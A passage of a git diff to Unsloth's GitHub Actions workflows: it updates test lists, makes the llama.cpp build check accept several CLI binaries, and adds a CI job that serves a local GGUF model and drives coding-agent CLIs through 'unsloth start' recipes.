tests/utils/test_trunc_normal_patch.py \ tests/python/test_fast_language_model_text_only.py @@ -353,14 +360,23 @@ jobs: tests/saving/test_save_shell_injection.py \ tests/saving/test_patch_saving_none_tokenizer.py \ tests/saving/test_fix_sentencepiece_gguf_robustness.py \ + tests/saving/test_fix_sentencepiece_tokenizer_guard.py \ + tests/saving/test_compressed_export_schemes.py \ + tests/saving/test_export_api_surface.py \ + tests/saving/test_export_dispatch.py \ + tests/saving/test_imatrix_export.py \ + tests/saving/test_gguf_single_pass_export.py \ + tests/saving/test_offline_gguf_vlm_tokenizer_7481.py \ tests/utils/test_attention_masks.py \ tests/utils/test_trunc_normal_patch.py \ tests/python/test_fast_language_model_text_only.py \ - --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap' - # The deselected test monkeypatches flash_attn_varlen_func, which is - # only bound on the module when `flash_attn` is importable. flash_attn - # requires CUDA + dev toolchain, which the CPU-only ubuntu-latest - # runner does not have. The other Bucket-A tests pass cleanly. + tests/test_bad_mappings_redirect.py \ + tests/test_prefetch_snapshot_scope.py \ + tests/test_gemma_2b_mapper_key.py \ + tests/test_raw_text_json_loading.py + # test_run_attention_flash_varlen_receives_window_and_softcap was deselected + # until attention_dispatch.py predefined flash_attn_varlen_func as None; it + # monkeypatches that name, so it no longer needs flash_attn on this runner. - name: unsloth_zoo @ ${{ env.UNSLOTH_ZOO_REF }} — full pytest (CPU) # 106 of 111 test_* in unsloth_zoo are CPU-only. The two CUDA-skip @@ -2114,7 +2130,7 @@ jobs: pip show unsloth_zoo echo "::endgroup::" echo "Consolidated job done. Coverage:" - echo " - 16 unsloth Bucket-A tests under tests/saving/ + tests/utils/" + echo " - 17 unsloth Bucket-A tests under tests/saving/ + tests/utils/" echo " - unsloth_zoo @ ${UNSLOTH_ZOO_REF} pytest tests/ (5 GPU cases deselected)" echo " - unsloth_zoo.compiler.test_apply_fused_lm_head" @@ -2166,7 +2182,7 @@ jobs: python -m pip install --upgrade pip # Match the matrix job's torch path so unsloth_zoo's # `import torch` resolves to the same CPU build. - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.4,<2.11' 'torchvision<0.26' pip install \ 'numpy<3' protobuf sentencepiece \ @@ -2204,12 +2220,13 @@ jobs: pip install -e "$RUNNER_TEMP/unsloth-zoo" --no-deps pip show unsloth_zoo - - name: llama.cpp install via unsloth_zoo.llama_cpp + `llama-cli --help` smoke + - name: llama.cpp install via unsloth_zoo.llama_cpp + CLI `--help` smoke # Exercise the canonical `unsloth_zoo.llama_cpp.install_llama_cpp` # flow that GGUF export uses at runtime: clone ggml-org/llama.cpp # into ~/.unsloth/llama.cpp, build the LLAMA_CPP_TARGETS list # (llama-quantize, llama-cli, llama-mtmd-cli, llama-gguf-split, - # llama-server) via cmake, then run `llama-cli --help`. + # llama-server) via cmake, then run `--help` on whichever CLI + # inference binary the build actually produced. # # This replaces the previous "download upstream prebuilt zip" # approach, which silently exited 0 with the message @@ -2218,6 +2235,18 @@ jobs: # matched their current asset names). The build path is the same # one Unsloth users hit in production via `model.save_pretrained_gguf`. # + # We do NOT hard-require `llama-cli` specifically: upstream + # ggml-org/llama.cpp moved the cli/server/ui targets behind the + # `LLAMA_BUILD_SERVER` cmake option (tools/CMakeLists.txt) and the + # set of binaries that survive a given checkout drifts over time + # (e.g. a recent build root shipped llama-server + llama-quantize + # + llama-diffusion-cli but no llama-cli). The durable contract is + # "install_llama_cpp produced a working CLI inference binary AND a + # working quantizer", so we --help-probe the first of + # llama-cli / llama-mtmd-cli / llama-server that exists. If a + # future llama.cpp restores llama-cli it is first in the list and + # is preferred, so this stays backwards compatible. + # # Wall-time budget: ~3-5 min cold, dominated by cmake build of # 5 targets on the runner's 4 cores. Apt-package install is # handled by `install_llama_cpp` itself via its @@ -2252,8 +2281,9 @@ jobs: print(f"Build targets: {LLAMA_CPP_TARGETS}") # install_llama_cpp returns (quantizer_path, converter_script_path). # The quantizer's directory is the `llama.cpp` install root, which - # also holds llama-cli after build/bin/llama-* gets copied up - # (llama_cpp.py:867-871). + # also holds the CLI inference binaries after build/bin/llama-* gets + # copied up (llama_cpp.py:1450-1454; on Windows they stay in + # build/bin/Release/). quantizer, converter = install_llama_cpp(print_output=True) assert quantizer and os.path.exists(quantizer), ( f"install_llama_cpp returned quantizer={quantizer!r} but file missing" @@ -2262,25 +2292,54 @@ jobs: f"install_llama_cpp returned converter={converter!r} but missing" ) install_root = os.path.dirname(quantizer) - cli = os.path.join(install_root, "llama-cli") - assert os.path.exists(cli), ( - f"llama-cli not found at {cli!r} after build. Build root contents: " - f"{sorted(p for p in os.listdir(install_root) if p.startswith('llama-'))[:20]}" - ) - assert os.access(cli, os.X_OK), f"{cli!r} not executable" - # `llama-cli --help` exits non-zero on some builds; the contract - # is that recognizable help text appears on stdout/stderr. + is_windows = sys.platform == "win32" + exe = ".exe" if is_windows else "" + # Search both the copied-up root and the Windows build/bin/Release/ + # location the quantizer might already live in. + search_dirs = [install_root] + win_release = os.path.join(install_root, "build", "bin", "Release") + if win_release not in search_dirs: + search_dirs.append(win_release) + # Any of these proves a working llama.cpp CLI inference binary was + # built. Order = preference: llama-cli is canonical (restored first + # if upstream brings it back), then the multimodal CLI, then the + # server (always built whenever cli would be, behind LLAMA_BUILD_SERVER). + cli_names = [f"llama-cli{exe}", f"llama-mtmd-cli{exe}", f"llama-server{exe}"] + cli = None + cli_name = None + for name in cli_names: + for d in search_dirs: + candidate = os.path.join(d, name) + if os.path.exists(candidate) and (is_windows or os.access(candidate, os.X_OK)): + cli, cli_name = candidate, name + break + if cli is not None: + break + if cli is None: + found = [] + for d in search_dirs: + if os.path.isdir(d): + found += [p for p in os.listdir(d) if p.startswith("llama-")] + raise AssertionError( + f"No CLI inference binary ({', '.join(cli_names)}) found after " + f"build in {search_dirs}. Build root contents: {sorted(set(found))[:20]}" + ) + print(f"Using CLI inference binary: {cli_name} -> {cli}") + # `--help` exits non-zero on some builds; the contract is that + # recognizable help text appears on stdout/stderr. llama-server + # exposes a different flag set than llama-cli, so accept its + # tokens too (e.g. --host / --port / "server"). proc = subprocess.run( [cli, "--help"], capture_output=True, text=True, timeout=30, ) combined = (proc.stdout or "") + (proc.stderr or "") - print("--- llama-cli --help (first 30 lines) ---") + print(f"--- {cli_name} --help (first 30 lines) ---") print("\n".join(combined.splitlines()[:30])) assert any( tok in combined.lower() - for tok in ("usage", "--help", "--model", "-m,") + for tok in ("usage", "--help", "--model", "-m,", "--host", "--port", "server") ), ( - f"llama-cli --help produced no recognizable help text. " + f"{cli_name} --help produced no recognizable help text. " f"exit={proc.returncode}\nstdout: {proc.stdout[:400]!r}\n" f"stderr: {proc.stderr[:400]!r}" ) @@ -2296,7 +2355,7 @@ jobs: f"stderr: {q.stderr[:400]!r}" ) print( - f"\nOK: install_llama_cpp produced a working llama-cli at {cli} " + f"\nOK: install_llama_cpp produced a working {cli_name} at {cli} " f"and llama-quantize at {quantizer}." ) PY diff --git a/.github/workflows/cross-platform-parity-ci.yml b/.github/workflows/cross-platform-parity-ci.yml index 4632794587..45ce231743 100644 --- a/.github/workflows/cross-platform-parity-ci.yml +++ b/.github/workflows/cross-platform-parity-ci.yml @@ -1,18 +1,16 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Runs tests/python/test_cross_platform_parity.py on Windows and macOS. +# Runs installer parity and autostart opt-out tests across all three platforms. # -# Why: that test is the guard that install.sh and install.ps1 stay in -# sync, but today it only runs on ubuntu-latest (auto-discovered by -# studio-backend-ci.yml's "Repo tests (CPU)" job). The test reads both -# installer scripts, and on Windows Path.read_text() defaults to the -# cp1252 locale encoding, so a non-cp1252 byte in install.sh (it already -# contains a U+274C) raises UnicodeDecodeError there even though Linux and -# macOS default to UTF-8. The reads were pinned to encoding="utf-8" in -# #6166; this job keeps that from silently regressing by exercising the -# test on the platforms it claims parity for. Pure pytest, no GPU, -# sub-second, so the matrix is cheap. +# Why: the parity test guards that install.sh and install.ps1 stay in sync. +# It originally ran only on ubuntu-latest through studio-backend-ci.yml. +# On Windows, Path.read_text() defaults to the cp1252 locale encoding, so a +# non-cp1252 byte in install.sh raises UnicodeDecodeError even though Linux +# and macOS default to UTF-8. The reads were pinned to encoding="utf-8" in +# #6166; this matrix keeps that from silently regressing. Pure pytest, no GPU, +# sub-second, so the matrix is cheap. Linux also runs the POSIX rollback test +# under dash, matching the supported curl-to-sh installer path. name: Cross-platform parity @@ -21,14 +19,20 @@ on: paths: - 'install.sh' - 'install.ps1' + - 'tests/test_installer_skip_autostart.py' - 'tests/python/test_cross_platform_parity.py' + - 'tests/sh/test_install_rollback_lifecycle.sh' + - 'tests/studio/test_install_rollback_lifecycle.ps1' - '.github/workflows/cross-platform-parity-ci.yml' push: branches: [main] paths: - 'install.sh' - 'install.ps1' + - 'tests/test_installer_skip_autostart.py' - 'tests/python/test_cross_platform_parity.py' + - 'tests/sh/test_install_rollback_lifecycle.sh' + - 'tests/studio/test_install_rollback_lifecycle.ps1' - '.github/workflows/cross-platform-parity-ci.yml' workflow_dispatch: @@ -45,7 +49,7 @@ jobs: strategy: fail-fast: false matrix: - os: [windows-latest, macos-latest] + os: [ubuntu-latest, windows-latest, macos-latest] runs-on: ${{ matrix.os }} timeout-minutes: 10 steps: @@ -57,5 +61,18 @@ jobs: python-version: '3.12' cache: 'pip' - run: python -m pip install -U pip pytest - - name: Cross-platform parity test - run: python -m pytest tests/python/test_cross_platform_parity.py -q + - name: Cross-platform parity tests + env: + UNSLOTH_NO_TORCH: '1' + run: >- + python -m pytest + tests/python/test_cross_platform_parity.py + tests/test_installer_skip_autostart.py + -q + - name: PowerShell rollback lifecycle tests + if: runner.os == 'Windows' + shell: pwsh + run: pwsh -NoProfile -File tests/studio/test_install_rollback_lifecycle.ps1 + - name: POSIX rollback lifecycle tests + if: runner.os == 'Linux' + run: sh tests/sh/test_install_rollback_lifecycle.sh diff --git a/.github/workflows/lint-ci.yml b/.github/workflows/lint-ci.yml index bd859a6e9e..e1f0afd299 100644 --- a/.github/workflows/lint-ci.yml +++ b/.github/workflows/lint-ci.yml @@ -13,10 +13,10 @@ # committed YAML / JSON config. # # TypeScript and Rust are NOT duplicated here on purpose: -# - Studio Frontend CI runs `npm run typecheck` (= `tsc --noEmit`) +# - Unsloth Frontend CI runs `npm run typecheck` (= `tsc --noEmit`) # and `npm run build` (vite/swc) on every studio/frontend/** # change, which is a full TS AST + type check. -# - Studio Tauri CI runs `tauri build --debug --no-bundle` on +# - Unsloth Tauri CI runs `tauri build --debug --no-bundle` on # every studio/src-tauri/** or studio/frontend/** change, which # compiles the Rust crate (= cargo check + cargo build). # Each is a stricter check than a parse-only step would be, so a diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml new file mode 100644 index 0000000000..0dc0cc66d7 --- /dev/null +++ b/.github/workflows/local-agent-guides-ci.yml @@ -0,0 +1,789 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +# Local Agent Guides CI +# ===================== +# Detects when our local-agent setup recipes drift out of sync with +# `unsloth run`. Boots a real `unsloth run --disable-tools` server and +# drives the coding agents end to end through the *exact* recipes defined +# in unsloth_cli/commands/start.py (the in-repo source of truth -- there +# is no docs/ tree). Wherever start.py has a recipe we drive the agent +# via `unsloth start --no-launch` and execute what it prints, so +# the test self-updates against start.py and catches silent recipe drift. +# +# Source-of-truth files this workflow guards: +# unsloth_cli/commands/start.py the `unsloth start ` recipes +# unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line) +# +# Failure taxonomy (each surfaced with a distinct ::error:: + the agent name +# + the start.py location, so a red X is immediately triageable): +# (a) Unsloth server/API regression -- the dialect HTTP preflight fails +# BEFORE the agent runs (or the server never becomes healthy). +# (b) Agent package install failed -- npm/curl install of the CLI failed. +# (c) Guide drift -- preflight passed + install ok, but +# the documented `unsloth start` flow produced no/garbled output. +# +# Agents covered (6): claude, codex, hermes, openclaw, opencode, pi. +# - All six have a `unsloth start ` recipe, so each cell obtains its +# env + command from `unsloth start --no-launch` and runs THAT +# (self-updating: a recipe change is exercised automatically). + +name: Local Agent Guides CI + +on: + # Off-peak weekly, deliberately a NON-:00 minute to dodge the top-of-hour + # GitHub-hosted-runner stampede. + schedule: + - cron: '37 7 * * 1' + workflow_dispatch: + pull_request: + paths: + - 'unsloth_cli/**' + - 'studio/backend/routes/**' + # Contracts this workflow asserts that live outside routes/**: the + # /api/health endpoint, the llama-server KV-cache log behavior, and the + # request/response schemas the agent dialects depend on. + - 'studio/backend/main.py' + - 'studio/backend/core/inference/llama_cpp.py' + - 'studio/backend/models/**' + - 'install.sh' + - '.github/workflows/local-agent-guides-ci.yml' + - '.github/scripts/serve-unsloth-run.sh' + - '.github/scripts/assert-prompt-cache.sh' + - '.github/scripts/agent-guides-install.sh' + - '.github/scripts/agent-guides-drive.sh' + - '.github/scripts/ci-connect-prompt.txt' + - '.github/scripts/ci-min-system-prompt.txt' + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +# Secret handling on pull_request: these jobs check out and run PR-controlled code +# (install.sh, .github/scripts/**), so HF_TOKEN (an external HF credential) is gated +# off pull_request at each step below -- public GGUF repos still download anonymously. +# GH_TOKEN (GITHUB_TOKEN) is kept: it is the job-scoped contents:read token and +# install_llama_prebuilt.py needs it for the GitHub releases API (else 403s). + +env: + # Determinism precedent (studio-inference-smoke.yml): temp 0 + fixed seed. + UNSLOTH_SEED: '3407' + # A single invoke must never hang the runner on a headless TTY prompt. With + # prefill-shrinking flags (minimal system prompt + restricted tools) a turn on + # a 4B model finishes in a couple of minutes on CPU; this also caps how long a + # still-large-prompt agent burns before failing. Well under the 6h job cap. + AGENT_INVOKE_TIMEOUT: '600' + +jobs: + # ═════════════════════════════════════════════════════════════════════ + # Job 1: connection + # Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect, + # install the agent, run `unsloth start --no-launch`, execute + # the emitted recipe with a trivial prompt, assert a non-empty reply. + # Runs on PR + weekly + dispatch. Each matrix cell is its own runner so + # it serves exactly one model on its own port. + # ═════════════════════════════════════════════════════════════════════ + connection: + name: connection (${{ matrix.agent }}) + runs-on: ubuntu-latest + timeout-minutes: 40 + strategy: + fail-fast: false + matrix: + agent: [claude, codex, hermes, openclaw, opencode, pi] + include: + # OpenClaw needs Node 24; everything else is happy on 22. + - agent: openclaw + node: '24' + env: + # gemma-4-E4B (128K context, capable enough to drive every agent for a + # trivial reply; the 270m model produced empty/failed responses for + # codex/openclaw). Hermes' 64K context floor no longer constrains the model + # choice: write_hermes_config claims the floor for smaller windows and + # scales compaction back to the real window. Served as a flat + # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B). + GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF + GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18901' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: ${{ matrix.node || '22' }} + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore GGUF model file + id: cache-gguf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Download GGUF if cache miss + id: download-gguf + if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' + env: + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p gguf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache + + - name: Save GGUF model file + if: always() && steps.download-gguf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Install Unsloth (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + # ── boot the server under test (factored helper) ────────────────── + - name: Serve unsloth run --disable-tools (gemma-4-E4B) + run: | + # Wipe, not reset-password: since #7573 the reset rotates in place and + # prints the new passphrase, which would land unmasked in the job log. + rm -rf ~/.unsloth/studio/auth + bash .github/scripts/serve-unsloth-run.sh \ + --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" \ + --health-timeout 900 + + # ── (a) server/API preflight: prove the dialect works BEFORE the agent ─ + # Distinct error class. If this step fails it is a SERVER regression, + # not the agent's or the guide's fault, and the agent steps never run. + - name: Preflight the agent's API dialect (class-a isolation) + env: + AGENT: ${{ matrix.agent }} + run: | + set -uo pipefail + B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY" + preflight_fail() { + echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect; this is class (a), not guide drift). Endpoint contract lives in studio/backend/routes/**."; + exit 1 + } + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \ + -H "Authorization: Bearer $K") || true + [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code" + case "$AGENT" in + claude) + # Anthropic Messages dialect. + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code" + ;; + codex) + # Codex always streams /v1/responses. + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true + [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code" + ;; + *) + # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw). + # OpenClaw's start.py recipe writes an "openai-completions" + # provider (write_openclaw_config), so it uses this path, not + # /v1/messages. + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code" + ;; + esac + echo "preflight OK for $AGENT" + + # ── (b) install the agent CLI (hardened npm/curl, retried) ───────── + - name: Install agent CLI (class-b isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-install.sh "$AGENT" + + # ── (c) drive the agent via start.py and assert a reply ────────── + # For the 5 agents with a start.py recipe we run + # `unsloth start --no-launch`, eval its env/unset exports, + # then run the printed command with a hard timeout (no headless-TTY + # hang). Pi has no connect recipe, so it is driven by hand and the + # cell asserts that absence is the (known) reason. + - name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT" + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + # Redact the key across the WHOLE logs/ tree, not just studio-logs: + # serve-unsloth-run.sh records the `unsloth run` banner (which prints + # `API Key: `) into logs/unsloth-run-.log, and the upload + # step publishes all of logs/, so scrubbing only studio-logs would leak + # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done + fi + + - name: Stop Unsloth + if: always() + run: | + # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make + # `kill 0` signal this step's whole process group and abort cleanup. + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: connection-${{ matrix.agent }}-log + path: | + logs/ + redacted-configs/ + retention-days: 7 + + # ═════════════════════════════════════════════════════════════════════ + # Job 2: file-edit + # The deterministic 2-turn hello.py test on Qwen3.5-4B (smaller models + # can't reliably drive the heavyweight agents' edit flows). Weekly + + # dispatch only -- it is the slow, model-heavy job and must not gate PRs. + # ═════════════════════════════════════════════════════════════════════ + file-edit: + name: file-edit (${{ matrix.agent }}) + if: github.event_name != 'pull_request' + runs-on: ubuntu-latest + timeout-minutes: 60 + # hermes and openclaw drive a multi-turn tool loop that a CPU-only runner + # cannot finish in time (e.g. openclaw holds its 300s session-write-lock past + # expiry; each turn re-prefills the tool prompt at ~16 tok/s). Their endpoint + # wiring + generation are already hard-gated by the connection job, so the + # file-edit cell is best-effort here -- it still runs and uploads logs, but a + # timeout does not fail the workflow. Drop best_effort (or move e2e to a GPU + # runner) to make it blocking again. + continue-on-error: ${{ matrix.best_effort || false }} + strategy: + fail-fast: false + matrix: + agent: [claude, codex, hermes, openclaw, opencode, pi] + include: + - agent: openclaw + node: '24' + best_effort: true + - agent: hermes + best_effort: true + env: + # gemma-4-E4B served as a flat GGUF file (cache size tracks the .gguf 1:1, + # no xet-chunk inflation; the -MTP- repo ships no separate draft file). + GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF + GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18902' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: ${{ matrix.node || '22' }} + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore GGUF model file + id: cache-gguf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Download GGUF if cache miss + id: download-gguf + if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' + env: + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p gguf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache + + - name: Save GGUF model file + if: always() && steps.download-gguf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Install Unsloth (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + - name: Serve unsloth run --disable-tools (gemma-4-E4B) + run: | + rm -rf ~/.unsloth/studio/auth + bash .github/scripts/serve-unsloth-run.sh \ + --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" \ + --health-timeout 900 + + - name: Preflight the agent's API dialect (class-a isolation) + env: + AGENT: ${{ matrix.agent }} + run: | + set -uo pipefail + B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY" + preflight_fail() { + echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect; this is class (a), not guide drift). Endpoint contract lives in studio/backend/routes/**."; + exit 1 + } + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \ + -H "Authorization: Bearer $K") || true + [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code" + # Probe the same dialect the agent will use, so a streaming/messages + # regression in the weekly run is reported as class (a) here instead of + # surfacing later as guide drift (mirrors the connection job). + case "$AGENT" in + claude) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code" + ;; + codex) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true + [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code" + ;; + *) + # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw). + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code" + ;; + esac + echo "preflight OK for $AGENT" + + - name: Install agent CLI (class-b isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-install.sh "$AGENT" + + - name: 2-turn hello.py test (class-c isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-drive.sh file-edit "$AGENT" + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + # Redact the key across the WHOLE logs/ tree, not just studio-logs: + # serve-unsloth-run.sh records the `unsloth run` banner (which prints + # `API Key: `) into logs/unsloth-run-.log, and the upload + # step publishes all of logs/, so scrubbing only studio-logs would leak + # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done + fi + + - name: Stop Unsloth + if: always() + run: | + # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make + # `kill 0` signal this step's whole process group and abort cleanup. + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: file-edit-${{ matrix.agent }}-log + path: | + logs/ + agent-workdir/ + redacted-configs/ + retention-days: 7 + + # ═════════════════════════════════════════════════════════════════════ + # Job: resume + # Does a conversation started with `unsloth start ` survive exit + # and resume? This drives the REAL launch path (not the --no-launch + # recipe the other jobs use). A plain launch relocates the agent home to + # a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the + # session to the stable Unsloth agents dir so it persists. opencode/claude + # keep their session data in a fixed user dir, so they persist either way. + # Dispatch-only: it is an end-to-end experiment, not a PR gate. + # 